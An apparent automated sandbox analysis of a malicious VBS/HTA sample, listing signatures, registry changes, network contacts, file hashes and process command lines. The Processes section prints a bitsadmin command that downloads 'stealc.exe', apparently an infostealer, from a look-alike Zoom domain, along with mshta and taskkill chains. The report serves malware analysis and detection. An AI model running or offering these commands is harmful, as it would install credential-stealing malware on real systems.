Analysis Overview
SHA256
92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138
Threat Level: Likely malicious
The file xyz.vbs was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Download via BitsAdmin
Drops file in System32 directory
Detected potential entity reuse from brand GOOGLE.
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Modifies Internet Explorer settings
Suspicious use of SendNotifyMessage
Kills process with taskkill
Modifies registry class
Delays execution with timeout.exe
Opens file in notepad (likely ransom note)
Modifies data under HKEY_USERS
Suspicious behavior: GetForegroundWindowSpam
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-09 00:09
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-09 00:09
Reported
2024-11-09 00:13
Platform
win7-20240903-en
Max time kernel
199s
Max time network
195s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Detected potential entity reuse from brand GOOGLE.
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat | C:\Windows\system32\SearchProtocolHost.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\timeout.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\timeout.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\timeout.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\timeout.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\SampleRes.dll,-104 = "Jellyfish" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\migwiz\wet.dll,-588 = "Windows Easy Transfer" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@gameux.dll,-10057 = "Minesweeper" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\gameux.dll,-10301 = "Enjoy the classic strategy game of Backgammon. Compete against players online and race to be the first to remove all your playing pieces from the board." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%systemroot%\system32\Wdc.dll,-10025 = "Diagnose performance issues and collect performance data." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Program Files\DVD Maker\DVDMaker.exe,-61403 = "Windows DVD Maker" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SBE\SAL\CacheHashTableSize = "67" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\System32\syncCenter.dll,-3001 = "Sync files between your computer and network folders" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\SNTSearch.dll,-505 = "Sticky Notes" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%windir%\system32\mblctr.exe,-1004 = "Opens the Windows Mobility Center so you can adjust display brightness, volume, power options, and other mobile PC settings." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SBE\SAL\SwagBitsPerSecond = "19922944" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\gameux.dll,-10302 = "Compete with - and against - online opponents at the classic trick-taking, partnership card game of Spades. Score the most points to win." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{993BE281-6695-4BA5-8A2A-7AACBFAAB69E} {0000013A-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000e0215fea3b32db01 | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\miguiresource.dll,-201 = "Task Scheduler" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\OobeFldr.dll,-33056 = "Getting Started" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%windir%\system32\mstsc.exe,-4001 = "Use your computer to connect to a computer that is located elsewhere and run programs or access files." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\gameux.dll,-10057 = "Minesweeper" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My | C:\Windows\system32\SearchFilterHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@gameux.dll,-10060 = "Solitaire" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@gameux.dll,-10101 = "Internet Checkers" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32,@elscore.dll,-2 = "Microsoft Script Detection" | C:\Windows\system32\SearchIndexer.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SBE\SAL\CommitMaxCheckPoitnRateMs = "10000" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SBE\SAL\CacheLongPageCount = "32" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%CommonProgramFiles%\Microsoft Shared\Ink\TipTsf.dll,-60 = "Enter text by using handwriting or a touch keyboard instead of a standard keyboard. You can use the writing pad or the character pad to convert your handwriting into typed text or the touch keyboard to enter characters." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{E37A73F8-FB01-43DC-914E-AAEE76095AB9} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000e0f632f63b32db01 | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SBE\SAL\LogMinJobWaitTimeMs = "3000" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\pmcsnap.dll,-700 = "Print Management" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SBE\SAL\CommitMaxCheckPointPageCount = "7" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\sud.dll,-1 = "Default Programs" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\wdc.dll,-10030 = "Resource Monitor" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\ehome\ehres.dll,-100 = "Windows Media Center" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32,@elscore.dll,-6 = "Microsoft Cyrillic to Latin Transliteration" | C:\Windows\system32\SearchIndexer.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\System32\ieframe.dll,-912 = "HTML Document" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\SampleRes.dll,-106 = "Tulips" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%CommonProgramFiles%\Microsoft Shared\Ink\ShapeCollector.exe,-299 = "Provide writing samples to help improve the recognition of your handwriting." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\OobeFldr.dll,-33057 = "Learn about Windows features and start using them." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\sud.dll,-10 = "Choose which programs you want Windows to use for activities like web browsing, editing photos, sending e-mail, and playing music." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%ProgramFiles%\DVD Maker\DVDMaker.exe,-63385 = "Burn pictures and video to DVD." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\{4EFE2452-168A-11D1-BC76-00C04FB9453B}\Default MidiOut Device | C:\Windows\system32\SearchFilterHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%windir%\system32\speech\speechux\sapi.cpl,-5556 = "Dictate text and control your computer by voice." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\XpsRchVw.exe,-102 = "XPS Viewer" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%systemroot%\ehome\ehres.dll,-116 = "Opens your home entertainment option for digital and on-demand media, including TV, movies, music and pictures." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32,@elscore.dll,-1 = "Microsoft Language Detection" | C:\Windows\system32\SearchIndexer.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SBE\SAL\ShadowFileMaxClients = "32" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%systemroot%\system32\comres.dll,-3411 = "Manage COM+ applications, COM and DCOM system configuration, and the Distributed Transaction Coordinator." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\gameux.dll,-10060 = "Solitaire" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%systemroot%\syswow64\unregmp2.exe,-155 = "Play digital media including music, videos, CDs, and DVDs." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\System32\ieframe.dll,-10046 = "Internet Shortcut" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\xpsrchvw.exe,-106 = "XPS Document" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SBE\SAL\CacheShortPageCount = "64" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\wsecedit.dll,-718 = "Local Security Policy" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Program Files\Common Files\system\wab32res.dll,-10100 = "Contacts" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft | C:\Windows\system32\SearchFilterHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\gameux.dll,-10309 = "Solitaire is the classic, single-player card game. The aim is to collect all the cards in runs of alternating red and black suit colors, from ace through king." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@gameux.dll,-10058 = "Purble Place" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\gameux.dll,-10308 = "Mahjong Titans is a form of solitaire played with tiles instead of cards. Match pairs of tiles until all have been removed from the board in this classic game." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Program Files\Windows Sidebar\sidebar.exe,-1005 = "Desktop Gadget Gallery" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\SampleRes.dll,-142 = "Wildlife" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Direct3D\MostRecentApplication | C:\Windows\system32\SearchFilterHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@"%systemroot%\system32\windowspowershell\v1.0\powershell.exe",-111 = "Performs object-based (command-line) functions" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\gameux.dll,-10303 = "Enjoy the classic strategy game of Chess. Play against the computer, or compete against a friend. The winner is the first to capture the opponent’s king." | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32\gameux.dll,-10054 = "Chess Titans" | C:\Windows\system32\SearchProtocolHost.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_Classes\Local Settings | C:\Windows\system32\rundll32.exe | N/A |
Opens file in notepad (likely ransom note)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\NOTEPAD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskmgr.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\system32\SearchIndexer.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\SearchIndexer.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\SearchIndexer.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskmgr.exe | N/A |
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\SearchProtocolHost.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\xyz.hta"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
C:\Windows\SysWOW64\timeout.exe
timeout /t 30 /nobreak
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\LimitStop.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ConvertRemove.vbe"
C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID
C:\Windows\system32\SearchIndexer.exe
C:\Windows\system32\SearchIndexer.exe /Embedding
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\xyz.hta"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
C:\Windows\SysWOW64\timeout.exe
timeout /t 30 /nobreak
C:\Windows\system32\SearchProtocolHost.exe
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
C:\Windows\system32\SearchFilterHost.exe
"C:\Windows\system32\SearchFilterHost.exe" 0 508 512 520 65536 516
C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\xyz.hta
C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID
C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\xyz.hta
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\xyz.vbs"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | support.google.com | udp |
| GB | 172.217.169.14:443 | support.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.187.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 172.217.16.227:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | us18web-zoom.us | udp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.19.117.22:80 | crl.microsoft.com | tcp |
| GB | 172.217.169.14:443 | support.google.com | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| US | 8.8.8.8:53 | us18web-zoom.us | udp |
Files
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M4TQDAHL\favicon[1].ico
| MD5 | f3418a443e7d841097c714d69ec4bcb8 |
| SHA1 | 49263695f6b0cdd72f45cf1b775e660fdc36c606 |
| SHA256 | 6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770 |
| SHA512 | 82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563 |
memory/1592-30-0x0000000001B10000-0x0000000001B20000-memory.dmp
memory/1592-46-0x0000000001C10000-0x0000000001C20000-memory.dmp
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.log
| MD5 | a966de0604a7629db060cb5c0f8810c4 |
| SHA1 | 10c6832e2b1f3d1c4b04e61d76daaf79dd2422ce |
| SHA256 | 1a39ff3da1df5c90c9b2f9a96318f4db749eff0bfb53d49612e49da4f2678059 |
| SHA512 | c7d6ef34acf66b6c54f8b1db25e269cd780f4d40200203efde4488db62f40cf860f4f4dfb7c9a1b8015ee107768bd8ef35754b006757119e3281db7b8591b316 |
memory/1592-72-0x0000000001510000-0x0000000001518000-memory.dmp
memory/1592-73-0x00000000014D0000-0x00000000014D1000-memory.dmp
memory/1592-79-0x00000000014D0000-0x00000000014D8000-memory.dmp
memory/1592-81-0x0000000001300000-0x0000000001301000-memory.dmp
memory/1592-90-0x0000000002F10000-0x0000000002F18000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
| MD5 | 04aa1b25f53682aa1f27b48d0115d3c5 |
| SHA1 | 20f5ab3031f8d17a834977341eb8d62576286625 |
| SHA256 | 0630fe3c74cf55473780bdcb0faa1f8c3c1be86375341d2fd143ee8722dcd663 |
| SHA512 | 7e1da3066e73145782a00fd77f3b6be1c494c7f866785995065348bd6a0cf6e263e2335b723158eeb1edfef3658ab1c980f7a6dd5830055fc37d4a1f72616c2c |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
| MD5 | cd83027970035a41bb63d8f10a934b6c |
| SHA1 | 8d02c483711ad69534666ed74417fd39ed01a3e9 |
| SHA256 | 4d673a6431b67c6cd0d36709b0aa10f99d37a0c9f82886550ef97489278d4bd0 |
| SHA512 | a3d0eeb629dc727bd1646aeb74500d47ab5ced370e34994df9cd9ccc30ada35fe5df85f78916beb0bab40b0763ec5dffd36e0e33c9fd7a0914c49f886d800bb0 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_CD08734C3F770C014F2620E6CA4CE9C7
| MD5 | 2268d17aa64cee418bc4659167c367ef |
| SHA1 | 42493d1b9f13b2a21fddb5d238ac2ca4b0fa6c5d |
| SHA256 | d5ee56d6bc6d33a989917fdf25e637540c988037d55970b7261fa4f5b0252081 |
| SHA512 | 9608c7d2af9f1cfdc577cc644b3f5d1af178415148f956b1c825316d2eb4140180d5535aa79864584f878e8c2b1e31f2325ebad6e6efa2b310eac4c7544e040f |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_CD08734C3F770C014F2620E6CA4CE9C7
| MD5 | 3392b3125d7229e5d88531675ccf136a |
| SHA1 | 2adc0495724fe1373c0c5de07fd6c15845d883c7 |
| SHA256 | a26795aa3f694b90431334b2a298cfddd39820ee3b6a49410a1135366fb6997f |
